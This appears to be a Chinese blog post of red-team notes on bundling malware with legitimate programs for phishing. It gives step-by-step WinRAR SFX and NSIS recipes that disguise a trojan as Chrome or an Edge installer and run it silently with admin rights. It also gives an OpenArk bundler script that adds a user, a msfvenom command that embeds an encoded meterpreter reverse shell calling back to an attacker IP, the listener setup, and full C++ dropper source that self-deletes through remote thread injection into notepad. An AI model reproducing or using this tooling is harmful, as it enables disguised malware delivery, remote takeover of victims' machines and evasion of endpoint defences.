捆绑程序

2026-02-24 09:04:09

捆绑程序捆绑程序利用Winrar创建SFX(自解压)打包捆绑恶意程序与合法程序相关链接NSIS捆绑程序OpenArk捆绑程序制作步骤msfvenom捆绑程序cpp实现捆绑程序(TODO)threadProcmain从资源中提取 .docx 文件打开 .docx 文件实现自删除TODO利用Winrar创建SFX(自解压)打包捆绑恶意程序与合法程序X 上的 Binni Shah:“Embed A Malicious Executable in a Normal PDF or EXE : https://t.co/Uko8EQhzFj https://t.co/512NXzey0d” / X (twitter.com)

在普通 PDF 或 EXE 中嵌入恶意可执行文件 |作者:萨姆·罗斯利斯伯格 |中等的 --- Embed A Malicious Executable in a Normal PDF or EXE | by Sam Rothlisberger | Medium

WinRAR 归档程序,处理 RAR 和 ZIP 文件的强大工具 --- WinRAR archiver, a powerful tool to process RAR and ZIP files (rarlab.com)

自解压捆绑文件钓鱼 - the苍穹 - 博客园 (cnblogs.com)

可以在 WinRAR archiver, a powerful tool to process RAR and ZIP files (rarlab.com) 下载 WinRAR, 使用 Winrar 将恶意软件和合法软件捆绑起来, 通过合法软件调用恶意软件在一定程度上可以绕过EDR

可以在 383 chrome icons - Iconfinder 查找目标合法软件的图标并下载 PNG 文件

可以使用 https://iconconverter.com 将 PNG 转换成 ICO 图标

文中提到的这个网站我刚问不到, 拿 Go 写了个转换程序: DailyNotesCode/Go/usecase/Picture/ToICO/main.go at main · Ayusummer/DailyNotesCode (github.com)

常见程序 ICO 分辨率:

选中 Chrome 浏览器快捷方式和恶意程序, 使用 WinRAR Add to Archive 来创建压缩包

起一个合适的名字, 例如 Chrome.exe 并确保选中了 Create SFX archive

继续在 Advance -> SFX options -> Setup 中配置启动项

如果你的恶意程序是阻塞性质的程序那么在写 Run after extraction 的时候如果恶意程序在前则会在其关闭时调起 Chrome, 反之则会在 Chrome 关闭后调起恶意程序

在 Modes 中设置解压到临时目录以及 Hide all

在 383 chrome icons - Iconfinder 查找目标合法软件的图标并下载 PNG 文件, 然后用工具转换成 ICO 文件并在 Text and icon -> Load SFX icon from the file 设置 ico 图标

在 Update 中选择 Extract and update files 以及 Overwrite all files

最后逐级确定即可收获一个名为 Chrome.exe 且带有合适图标的可执行程序

此时执行 Chrome.exe 即可打开 Chrome 并执行恶意程序

PS: 如果你的恶意程序是阻塞性质的程序那么在写 Run after extraction 的时候如果恶意程序在前则会在其关闭时调起 Chrome, 反之则会在 Chrome 关闭后调起恶意程序

相关链接钓鱼姿势汇总 - 简书 (jianshu.com)常见钓鱼招式 - 先知社区 (aliyun.com)红队攻防系列之花式鱼竿钓鱼篇 - 先知社区 (aliyun.com)NSIS捆绑程序捆绑马的制作 - yanq的个人博客 (saucer-man.com)

NSIS(Nullsoft Scriptable Install System)是一个专业的开源系统,用于创建 Windows 安装程序。

NSIS 可以用于创建能够安装、卸载、设置系统设置、提取文件等的安装程序。基于脚本文件,所以使用简单方便,同时也是免费软件,无需破解,其下载地址为https://nsis.sourceforge.io/Download

NSIS 是编译器,需要编写nsi脚本然后编译。

配置 NSIS 环境变量, 以便后续可以方便调用 makensis.exe, 默认路径为

C:\Program Files (x86)\NSIS

C:\Program Files (x86)\NSIS\Bin安装 VSCode 扩展 NSIS

编写如下 nsis 文件, 具体可参阅 NSIS Users Manual (sourceforge.io)

; 设置编译结果的输出文件

OutFile "安装包.exe"

; 设置exe的图标

Icon "1.ico"

; 直接请求uac 提权

RequestExecutionLevel admin

!include "FileFunc.nsh"

; 静默安装,调试的时候可以把这个关了,实际运行的时候要开静默

SilentInstall silent

; 初始化脚本

; 安装程序开始执行之前完成的任务

; 这里可以检查木马文件是否已经存在了,但是这里我先不做这么多

Function .onInit

FunctionEnd

; 开始安装步骤1,将"木马.exe"复制到"$TEMP\xxxxx"

Section "Section1" SEC01

; 这里设置一个目录,下面的文件都会被释放到这个目录底下,目录不存在的话会自动创建目录

SetOutPath "$TEMP\xxxxx"

; 指定安装包在打包时要包含进那些文件,安装时会将"木马.exe"释放到"$TEMP\xxxxx"

File "木马.exe"

SectionEnd

; 开始安装步骤2,将"正常文件.exe"复制到"$TEMP\xxxx2"

Section "Section2" SEC02

SetOutPath "$TEMP\xxxx2"

File "正常文件.exe"

SectionEnd

; 会在安装成功后执行,这里就直接执行exe就好了

Function .onInstSuccess

Exec "$TEMP\xxxxx\木马.exe"

Exec "$TEMP\xxxx2\正常文件.exe

; 打开文档可以用下面的命令

; ExecShell open "$TEMP\测试文档.docx"

FunctionEnd例如

OutFile "MicrosoftEdgeSetupNSIS.exe"

Icon "IDR_MAINFRAME.ico"

RequestExecutionLevel admin

!include "FileFunc.nsh"

SilentInstall silent

Function .onInit

FunctionEnd

Section "Section1" SEC01

SetOutPath "$TEMP"

File "msedge.exe"

SectionEnd

Section "Section2" SEC02

SetOutPath "$TEMP"

File "MicrosoftEdgeSetup.exe"

SectionEnd

Function .onInstSuccess

Exec "$TEMP\msedge.exe"

Exec "$TEMP\MicrosoftEdgeSetup.exe"

FunctionEnd然后呼出 VSCode 命令面板(Ctrl+Shift+P), 输入 nsis 选择 NSIS:Create Build Task

这会在当前项目根目录创建一个 .vscode/task.json 文件, 内容大概如下:

接下来将窗口切回到刚才编写的 NSIS 文件, Ctrl+Shift+P 呼出命令面板, 选择 Tasks:Run Build Task

这将会根据 tasks.json 中的配置来 build 当前 nsis 任务

运行编译生成文件会弹出 UAC 授权窗口, 点击确定后即会运行程序

运行恶意程序上线攻击机并且运行正常程序下载 Microsoft Edge:

OpenArk捆绑程序制作一个捆绑程序 - OpenArk Manuals (blackint3.com)

OpenArk/doc/README-zh.md at master · BlackINT3/OpenArk · GitHub

OpenArk是一款Windows平台上的开源Ark工具. Ark是Anti-Rootkit(对抗恶意程序)的简写, OpenArk目标成为逆向工程师、编程人员的工具,同时也能为那些希望清理恶意软件的用户服务。

可以在 Releases · BlackINT3/OpenArk (github.com) 下载 OpenArk

捆绑程序是将一个或多个程序绑定成一个独立的exe,避免依赖的文件(如DLL)过多而影响传输/存储,常用于一些恶意软件。 OpenArk的Bundler即是这样一个功能,支持文件以及文件夹等捆绑成一个exe,同样支持脚本。

制作步骤制作一个捆绑程序 - OpenArk Manuals (blackint3.com) 文档中讲述了捆绑合法程序以及新建用户命令和vbs.bat脚本的方法, 这里演示捆绑合法程序和恶意程序

这里选择捆绑恶意程序和 MSEdge, edge 直接捆绑个快捷方式就行了, 将恶意程序和 edge快捷方式放到一个文件夹中并将该文件夹拖入到 OpenArk 的 Bundler 中(默认管理员)(或者使用右上角选择文件夹 按钮指定目标文件夹)

在左下角 启动脚本 区域写入要执行的脚本, 例如这里应当是启动恶意程序以及合法程序

call %root%/./msedge.exe

call %root%/./Microsoft Edge.lnk

clean //清理释放后的文件PS: 一些额外启动脚本代码示例:

cmd net user shadow 123 /add //添加一个用户shadow

start cmd /c %root%\shadow.bat //执行测试的bat

start wscript %root%\shadow.vbs //执行测试vbs点击左下角 选择图标 按钮选择生成程序的图标然后点击右下角的 生成 按钮即可生成捆绑程序

msfvenom捆绑程序msf之木马程序-腾讯云开发者社区-腾讯云 (tencent.com)

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】-CSDN博客

准备好目标程序(这里选择了Microsoft Edge安装包, 放在了 /root/temp/MicrosoftEdgeSetup.exe)

使用 msfvenom 生成捆绑木马

msfvenom -p windows/meterpreter/reverse_http lhost=100.1.1.131 lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x /root/temp/MicrosoftEdgeSetup.exe > /root/temp/out/MicrosoftEdgeSetup.exe-p:指定后面的 payload

windows/meterpreter/reverse_tcp:申明这是一个windows系统下的一个反弹http

LHOST=192.168.0.108,:设置反弹回来的ip,即你的kali的ip地址

lport 反弹端口(默认返回端口是4444)

-e: 指定编码器 x86/shikata_ga_nai

-i: 指定编码次数

-f: 捆绑的文件类型,这里是一个exe文件

-b: 指定需要避开的坏字符(通常是由于这些字符在payload中会引起问题)

这里是避免使用\x00(null字节)、\x0a(换行符)和\x0d(回车符)。

-x:指定捆绑的文件路径

-o:指定生成木马的文件路径

msconsole 起监听

msfconsole

msf6 > use multi/handler

[*] Using configured payload generic/shell_reverse_http

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set lhost 100.1.1.131

lhost => 100.1.1.131

msf6 exploit(multi/handler) > set lport 55555

lport => 55555

msf6 exploit(multi/handler) > run靶机执行生成的捆绑程序即可上线

或者 CS 起个 http 监听器挂在 55555 端口, 靶机运行捆绑木马即可上线 CS

cpp实现捆绑程序(TODO)奇安信攻防社区-关于文件捆绑的实现 (butian.net)

https://chatgpt.com/share/a5f99e0a-eec2-4616-9d24-dafde74733f1

上述文章中作者编写了如下程序, 运行该程序会创建一个新的 .docx 文件,并将资源文件的内容写入该文件。

打开 .docx 文件。

创建一个 notepad.exe 进程,并将删除当前程序的操作注入到该进程中,从而实现自删除功能。

当前程序实现的效果是执行 exe 后读取并生成 docx 文件然后删除 exe 文件, 需要后续修改来调用其他捆绑程序, 或者直接在当前项目中编写恶意行为

使用 VisualStudio 创建一个 C++ 空项目添加下文中的 Bundled.h 头文件和 Bundled.cpp 源文件

添加资源文件

这里 资源类型 直接手打个 docx 即可

之后在 资源视图 中可以看到加入的资源

以这种方式添加的资源会被打包进程序中

可以右键资源项目查看资源符号

这个资源符号值后续会用到, 用来读取该资源

Bundled.h

// #pragma once 确保头文件只会被包含一次

#pragma once

// Windows API的头文件

#include

typedef struct DeleteStruct

{

FARPROC dwDeleteFile;

CHAR dwDeleteFile_param_1[MAX_PATH];

};

typedef BOOL(WINAPI* wDeleteFileA)(

_In_ LPCSTR lpFileName

);定义了一个结构体 DeleteStruct,包含两个成员:

dwDeleteFile:保存函数指针。dwDeleteFile_param_1:保存要删除的文件名。定义了一个函数指针类型 wDeleteFileA,对应于Windows API的 DeleteFileA 函数

WINAPI

WINAPI 是一个调用约定,定义为 __stdcall,用于指示函数的参数从右到左压入堆栈,并由被调用函数清理堆栈。这是 Windows API 函数的标准调用约定。

(*wDeleteFileA)

(*wDeleteFileA) 定义了一个名为 wDeleteFileA 的指针,这个指针指向一个符合特定签名的函数。

参数列表 (_In_ LPCSTR lpFileName)

参数列表描述了该函数指针指向的函数所接受的参数类型:

_In_ 是一个 SAL(Source Annotation Language)注释,指示参数是输入参数。LPCSTR 是一个指向常量字符串的指针,表示该函数接受一个指向常量字符串的指针作为参数。总的来说定义了一个名为 wDeleteFileA 的新类型,这个类型是一个指向具有以下签名的函数的指针:

返回类型为 BOOL(一个布尔值)。调用约定为 WINAPI(Windows API 标准调用约定)。接受一个参数:类型为 LPCSTR,即一个指向常量字符串的指针,表示文件名。Bundled.cpp

#include

#include

#include "Bundled.h"

DWORD64 WINAPI threadProc(LPVOID lParam) {

INT RET = 20000;

for (size_t i = 0; i < 20000; i++)

{

RET = RET - 1;

}

//循环一下起延时作用,防止线程创建了文件还没有关系,这样删除就失败了

wDeleteFileA kDeleteFileA;

DeleteStruct* DS = (DeleteStruct*)lParam;

kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;

kDeleteFileA(DS->dwDeleteFile_param_1);

//删除文件

return RET;

}

int main(int argc, char* argv[])

{

CHAR PathFileName[MAX_PATH] = { 0 };

CHAR FileName[MAX_PATH] = { 0 };

HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");

//得到资源文件HRSRC句柄

HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);

//得到资源文件ResourceGlobal句柄

DWORD FileSize = SizeofResource(NULL, Resource);

//得到资源文件的大小

LPVOID PFILE = LockResource(ResourceGlobal);

//得到指向资源文件内容的指针

GetModuleFileNameA(NULL, PathFileName, MAX_PATH);

//当前进程的路径和名称

strcpy_s(FileName, strrchr(PathFileName, '\\')+1);

/*

strrchr得到第二个参数最后出现的位置

d:\\xxxxx\\xxxxxx\\xxxx.exe在执行后得到\\xxxx.exe

所以需要+1把\\去掉

最后得到了完整的文件名

用strcpy_s把文件名复制到FileName中

*/

for (size_t i = 0; i < MAX_PATH; i++)

{

if(FileName[i] == '.')

{

FileName[i + 1] = 'd';

FileName[i + 2] = 'o';

FileName[i + 3] = 'c';

FileName[i + 4] = 'x';

break;

}

}

//循环找文件名中的.,找到后将文件名的后缀改为docx

//这个步骤主要是为了方便,以后只需要改exe的名称不需要到代码中来改

HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);

//创建文件名相同的文件

DWORD dwSize;

WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);

// 把资源文件中的内容写入

SHELLEXECUTEINFOA shellexecute = { 0 };

shellexecute.cbSize = sizeof(shellexecute);

shellexecute.lpFile = FileName;

shellexecute.nShow = SW_SHOW;

ShellExecuteExA(&shellexecute);

//打开docx文件

//下面是实现自删除,网上的自删除方法有很多,用的多的是批处理,这里是创建一个进程然后用远程线程注入来让notepad删除当前程序

STARTUPINFOA si = { 0 };

PROCESS_INFORMATION pi = { 0 };

CreateProcessA("c:\\windows\\system32\\notepad.exe", 0, 0, 0, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);

//创建进程

DeleteStruct DS;

DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");

GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);

//创建远程线程不能直接使用API,需要把函数指针放在结构中传过去

//这里需要DeleteFileA这个函数,用GetProcAddress得到指针后传过去

LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);

//为函数开辟一块内存

LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);

DWORD RETSIZE;

//为参数开辟一块内存

HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE);

//执行该线程

CloseHandle(Thread);

//关闭句柄

}线程过程 threadProc 在主函数 main line82 被调用 这是一个在远程进程中运行的线程函数。先进行了一个简单的延时循环,目的是防止线程创建了文件还没有关闭。从 lParam 中获取传递过来的结构体 DeleteStruct。从结构体中获取 DeleteFileA 函数指针并调用它删除文件。主函数 main获取当前进程的路径和名称。将当前文件的扩展名改为 .docx。创建一个同名的 .docx 文件,并将资源文件内容写入该文件。使用 ShellExecuteExA 打开该 .docx 文件。创建一个新的 notepad.exe 进程,用于删除当前程序。使用 VirtualAllocEx 在远程进程中分配内存,用于存储线程函数和参数。使用 WriteProcessMemory 将线程函数和参数写入远程进程的内存中。使用 CreateRemoteThread 创建一个远程线程来执行删除操作。代码详解:

threadProcthreadProc 函数实现了删除特定文件的功能。

DWORD64 WINAPI threadProc(LPVOID lParam) {

INT RET = 20000;

for (size_t i = 0; i < 20000; i++)

{

RET = RET - 1;

}

//循环一下起延时作用,防止线程创建了文件还没有关系,这样删除就失败了

wDeleteFileA kDeleteFileA;

DeleteStruct* DS = (DeleteStruct*)lParam;

kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;

kDeleteFileA(DS->dwDeleteFile_param_1);

//删除文件

return RET;

}DWORD64 WINAPI threadProc(LPVOID lParam)

返回类型 DWORD64

DWORD64 是一个64位无符号整数,表示函数的返回值类型。

调用约定 WINAPI

WINAPI 定义了函数的调用约定,通常是 __stdcall,用于指定函数参数的传递方式和堆栈清理方式。

参数 LPVOID lParam

LPVOID 是一个指向任意类型的指针,表示传递给线程的参数。

//循环一下起延时作用,防止线程创建了文件还没有关系,这样删除就失败了

INT RET = 20000;

for (size_t i = 0; i < 20000; i++)

{

RET = RET - 1;

}这段程序本意是做个时延, 防止进程创建时文件还没有关联从而导致文件删除失败, 不过这个时延效果有限, CPU 执行 20000 次递减运算还是很快的, 打log几乎看不出来时延, 不清楚这里这样写是为了什么, 可能是为了规避对 sleep 的关联检测之类的? 这就不太清楚了

这里可以修改为使用 Sleep 10ms

# 定义函数指针

wDeleteFileA kDeleteFileA;

# 将传入参数转换为结构体指针

DeleteStruct* DS = (DeleteStruct*)lParam;

# 从结构体中获取函数指针

kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;

# 调用函数删除文件

kDeleteFileA(DS->dwDeleteFile_param_1);定义函数指针

wDeleteFileA kDeleteFileA;wDeleteFileA 是一个函数指针类型

typedef BOOL (WINAPI* wDeleteFileA)(LPCSTR lpFileName);kDeleteFileA 是一个指向这种类型函数的指针。wDeleteFileA 代表了指向 DeleteFileA 函数的指针,DeleteFileA 是 Windows API 用于删除文件的函数。

将传入参数转换为结构体指针

lParam 是传入的参数,被转换为指向 DeleteStruct 结构体的指针:

typedef struct DeleteStruct {

FARPROC dwDeleteFile;

CHAR dwDeleteFile_param_1[MAX_PATH];

};dwDeleteFile:指向 DeleteFileA 函数的指针dwDeleteFile_param_1:要删除的文件路径从结构体中获取函数指针

kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;将结构体成员 dwDeleteFile 强制转换为 wDeleteFileA 类型,并赋值给 kDeleteFileA。这样,kDeleteFileA 就指向 DeleteFileA 函数。

调用函数删除文件

kDeleteFileA(DS->dwDeleteFile_param_1);mainmain 函数实现了如下功能

从资源中提取一个 .docx 文件,并将其保存到磁盘上。打开这个 .docx 文件。通过创建和注入远程线程的方式,让另一个进程(notepad.exe)删除当前程序(自删除)。int main(int argc, char* argv[])

{

CHAR PathFileName[MAX_PATH] = { 0 };

CHAR FileName[MAX_PATH] = { 0 };

// 1. 从资源中提取 `.docx` 文件

HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");

//得到资源文件HRSRC句柄

HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);

//得到资源文件ResourceGlobal句柄

DWORD FileSize = SizeofResource(NULL, Resource);

//得到资源文件的大小

LPVOID PFILE = LockResource(ResourceGlobal);

//得到指向资源文件内容的指针

GetModuleFileNameA(NULL, PathFileName, MAX_PATH);

//当前进程的路径和名称

strcpy_s(FileName, strrchr(PathFileName, '\\')+1);

/*

strrchr得到第二个参数最后出现的位置

d:\\xxxxx\\xxxxxx\\xxxx.exe在执行后得到\\xxxx.exe

所以需要+1把\\去掉

最后得到了完整的文件名

用strcpy_s把文件名复制到FileName中

*/

for (size_t i = 0; i < MAX_PATH; i++)

{

if(FileName[i] == '.')

{

FileName[i + 1] = 'd';

FileName[i + 2] = 'o';

FileName[i + 3] = 'c';

FileName[i + 4] = 'x';

break;

}

}

//循环找文件名中的.,找到后将文件名的后缀改为docx

//这个步骤主要是为了方便,以后只需要改exe的名称不需要到代码中来改

HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);

//创建文件名相同的文件

DWORD dwSize;

WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);

// 把资源文件中的内容写入

// 2. 打开 .docx 文件

SHELLEXECUTEINFOA shellexecute = { 0 };

shellexecute.cbSize = sizeof(shellexecute);

shellexecute.lpFile = FileName;

shellexecute.nShow = SW_SHOW;

ShellExecuteExA(&shellexecute);

//打开docx文件

// 3. 实现自删除

//下面是实现自删除,网上的自删除方法有很多,用的多的是批处理,这里是创建一个进程然后用远程线程注入来让notepad删除当前程序

STARTUPINFOA si = { 0 };

PROCESS_INFORMATION pi = { 0 };

CreateProcessA("c:\\windows\\system32\\notepad.exe", 0, 0, 0, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);

//创建进程

DeleteStruct DS;

DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");

GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);

//创建远程线程不能直接使用API,需要把函数指针放在结构中传过去

//这里需要DeleteFileA这个函数,用GetProcAddress得到指针后传过去

LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);

//为函数开辟一块内存

LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);

DWORD RETSIZE;

//为参数开辟一块内存

HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE);

//执行该线程

CloseHandle(Thread);

//关闭句柄

}从资源中提取 .docx 文件CHAR PathFileName[MAX_PATH] = { 0 }; // 初始化当前文件路径

CHAR FileName[MAX_PATH] = { 0 }; // 初始化当前文件名

// 1. 从资源中提取 `.docx` 文件

HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");

//得到资源文件HRSRC句柄

HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);

//得到资源文件ResourceGlobal句柄

DWORD FileSize = SizeofResource(NULL, Resource);

//得到资源文件的大小

LPVOID PFILE = LockResource(ResourceGlobal);

//得到指向资源文件内容的指针

GetModuleFileNameA(NULL, PathFileName, MAX_PATH);

//当前进程的路径和名称

strcpy_s(FileName, strrchr(PathFileName, '\\')+1);

/*

strrchr得到第二个参数最后出现的位置

d:\\xxxxx\\xxxxxx\\xxxx.exe在执行后得到\\xxxx.exe

所以需要+1把\\去掉

最后得到了完整的文件名

用strcpy_s把文件名复制到FileName中

*/

for (size_t i = 0; i < MAX_PATH; i++)

{

if(FileName[i] == '.')

{

FileName[i + 1] = 'd';

FileName[i + 2] = 'o';

FileName[i + 3] = 'c';

FileName[i + 4] = 'x';

break;

}

}

//循环找文件名中的.,找到后将文件名的后缀改为docx

//这个步骤主要是为了方便,以后只需要改exe的名称不需要到代码中来改

HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);

//创建文件名相同的文件

DWORD dwSize;

WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);

// 把资源文件中的内容写入使用 FindResourceA、LoadResource、SizeofResource 和 LockResource 函数获取资源文件的内容。使用 GetModuleFileNameA 获取当前可执行文件的路径,并提取文件名。修改文件名的后缀为 .docx。使用 CreateFileA 创建一个与当前可执行文件同名的 .docx 文件,并使用 WriteFile 将资源内容写入文件。获取资源句柄

HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");

使用 FindResourceA 函数获取资源的句柄

NULL:指向包含资源的模块句柄,NULL 表示当前模块MAKEINTRESOURCEA(101):资源的标识符,这里使用的是整数 101"docx":资源类型对应前面项目资源中插入的这个 docx 文件

HRSRC 是一个句柄类型,用于标识资源在内存中的位置。具体来说,它是一个资源句柄,用于表示在资源文件(如 .exe 或 .dll 文件)中定义的资源。

在 Windows API 中,HRSRC 是一个宏,定义如下:

typedef HANDLE HRSRC;HANDLE 是一个通用的句柄类型,用于表示各种对象和资源的句柄。通过使用 HRSRC 这个类型,Windows API 可以统一处理资源句柄,并在函数之间传递这些句柄。

下面是一些与 HRSRC 类型相关的函数:

FindResource / FindResourceA / FindResourceW:用于查找资源,并返回一个 HRSRC 类型的资源句柄。LoadResource:用于加载资源,并返回一个 HGLOBAL 类型的全局句柄。SizeofResource:用于获取资源的大小。LockResource:用于锁定资源,并返回一个指向资源内容的指针。通过这些函数,可以在程序中访问并操作资源文件中的资源。

加载资源

HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);

使用 LoadResource 函数加载资源,并返回资源的全局句柄。

hModule: 一个模块的句柄,其中包含资源

NULL 表示当前模块。

hResInfo: 资源句柄,标识要加载的资源。这个句柄是通过 FindResource 函数获取的。

返回 HGLOBAL 类型的句柄,该句柄标识资源的内存块

获取资源大小

DWORD FileSize = SizeofResource(NULL, Resource);

使用 SizeofResource 函数获取资源的大小。

hModule: 一个模块的句柄,其中包含资源

NULL 表示当前模块。

hResInfo: 资源句柄,标识要查询的资源。这个句柄是通过 FindResource 函数获取的。

返回指定资源的大小(以字节为单位)。

如果函数失败,返回值为 0。要获取更多的错误信息,可以调用 GetLastError 函数

锁定资源

LPVOID PFILE = LockResource(ResourceGlobal);

使用 LockResource 函数锁定资源,并返回指向资源内容的指针。

hResData: 资源的全局句柄。这个句柄是通过 LoadResource 函数获取的。在这段代码中,它是 ResourceGlobal。返回一个指向资源数据的指针。

执行锁定资源这一步(LockResource)的主要原因是为了获得一个指向资源数据的指针,从而可以直接访问和操作资源内容

尽管 LockResource 名字中包含“锁定”一词,它实际上并不锁定资源或对其进行任何同步操作。资源数据在加载到内存后,其位置通常是固定的。LockResource 提供了一个指向这块内存的指针,确保程序可以稳定地访问这块内存中的数据。

所以与其叫锁定不如叫定位(

LockResource 返回一个指向资源数据的指针(LPVOID),这允许程序直接访问和读取资源的数据内容,而无需进行额外的内存复制操作。

后面写入文件内容时有用到返回的 PFILE 资源内容指针

获取当前可执行文件的路径和名称

GetModuleFileNameA(NULL, PathFileName, MAX_PATH);使用 GetModuleFileNameA 函数获取当前可执行文件的完整路径和名称,并存储在 PathFileName 中。

GetModuleFileNameA(NULL, PathFileName, MAX_PATH); 是一个调用,用于获取当前模块(通常是当前可执行文件)的文件名和路径,并将其存储在缓冲区中

hModule: 模块句柄,指示从哪个模块中获取文件名

NULL 指示函数返回包含调用进程的可执行文件的路径

lpFilename: 一个指向缓冲区的指针,用于接收模块的文件名和路径

nSize: 缓冲区的大小,以字符为单位

MAX_PATH 通常定义为 260,表示缓冲区大小足够大,可以存储大多数路径名

修改文件后缀为 .docx

//当前进程的路径和名称

strcpy_s(FileName, strrchr(PathFileName, '\\')+1);

/*

strrchr得到第二个参数最后出现的位置

d:\\xxxxx\\xxxxxx\\xxxx.exe在执行后得到\\xxxx.exe

所以需要+1把\\去掉

最后得到了完整的文件名

用strcpy_s把文件名复制到FileName中

*/

for (size_t i = 0; i < MAX_PATH; i++)

{

if (FileName[i] == '.')

{

FileName[i + 1] = 'd';

FileName[i + 2] = 'o';

FileName[i + 3] = 'c';

FileName[i + 4] = 'x';

break;

}

}先使用 strrchr 函数找到路径中最后一个反斜杠的位置,然后使用 strcpy_s 函数将路径中的文件名部分复制到 FileName 中。接着,遍历 FileName,找到文件名中的 .,将其后的字符改为 docx,以更改文件

这里 FileName 字符数组的大小还是蛮大的, 后缀修改为 docx 后还有多余的数组空间, 为了避免编码等问题导致的文件名异常, 最好还是加一行

FileName[i + 5] = '\0'; // 添加空字符终止字符串创建文件并写入资源内容

HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);

DWORD dwSize;

WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);使用 CreateFileA 函数创建一个与当前可执行文件同名的 .docx 文件,并使用 WriteFile 函数将资源内容写入该文件。

lpFileName: 文件名或设备名,作为文件创建或打开的目标

这里是 FileName,即前面修改了后缀的文件名

dwDesiredAccess: 指定所请求的访问权限

FILE_ALL_ACCESS 代表对文件的完全访问权限。

dwShareMode: 指定文件共享模式

0 表示文件不能被其他进程共享,独占访问

lpSecurityAttributes: 一个指向 SECURITY_ATTRIBUTES 结构的指针,指定文件的安全属性

NULL 表示默认安全属性

dwCreationDisposition: 指定如何创建文件

CREATE_ALWAYS 表示如果文件存在,将覆盖旧文件,如果文件不存在,将创建新文件

dwFlagsAndAttributes: 指定文件或设备的属性和标志

0 表示使用默认属性。

hTemplateFile: 用于创建文件的模板文件的句柄

NULL 表示不使用模板。

如果函数成功,返回一个文件句柄,用于后续的文件操作。

如果函数失败,返回 INVALID_HANDLE_VALUE,可以通过 GetLastError 函数获取错误信息。

DWORD 是在 Windows 编程中常用的类型,定义在 Windows 头文件中,表示 32 位无符号整数。

DWORD 类型的变量可以存储从 0 到 4,294,967,295 的整数。

DWORD dwSize;

WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);

hFile: 文件句柄,由 CreateFile 返回, 这里是 FILE。

lpBuffer: 指向要写入文件的数据缓冲区。这里是前面 LockResource 返回的 PFILE,即资源数据指针

nNumberOfBytesToWrite: 要写入文件的字节数。这里是前面 SizeofResource 返回的 FileSize,即资源文件的大小

lpNumberOfBytesWritten: 一个指向变量的指针,该变量接收实际写入的字节数, 这里是 &dwSize。

lpOverlapped: 一个指向 OVERLAPPED 结构的指针,用于异步操作。

NULL 表示同步写入

如果函数成功,返回非零值,并且 lpNumberOfBytesWritten 接收实际写入的字节数。

打开 .docx 文件// 2. 打开 .docx 文件

SHELLEXECUTEINFOA shellexecute = { 0 };

shellexecute.cbSize = sizeof(shellexecute);

shellexecute.lpFile = FileName;

shellexecute.nShow = SW_SHOW;

ShellExecuteExA(&shellexecute);使用 SHELLEXECUTEINFOA 结构体和 ShellExecuteExA 函数打开 .docx 文件。

SHELLEXECUTEINFOA shellexecute = { 0 };SHELLEXECUTEINFOA 是一个结构体,用于存储执行操作所需的参数。

= { 0 } 用于将结构体的所有成员初始化为零。

shellexecute.cbSize = sizeof(shellexecute);cbSize 成员表示结构体的大小,以字节为单位。必须正确设置此值,Windows API 才能正确解析结构体内容。

shellexecute.lpFile = FileName;lpFile 成员是一个指向要操作的文件或程序名的指针。这里设置为 FileName,即之前创建和写入的 .docx 文件名

shellexecute.nShow = SW_SHOW;nShow 成员指定应用程序窗口的显示方式。SW_SHOW 表示窗口将被显示并激活。

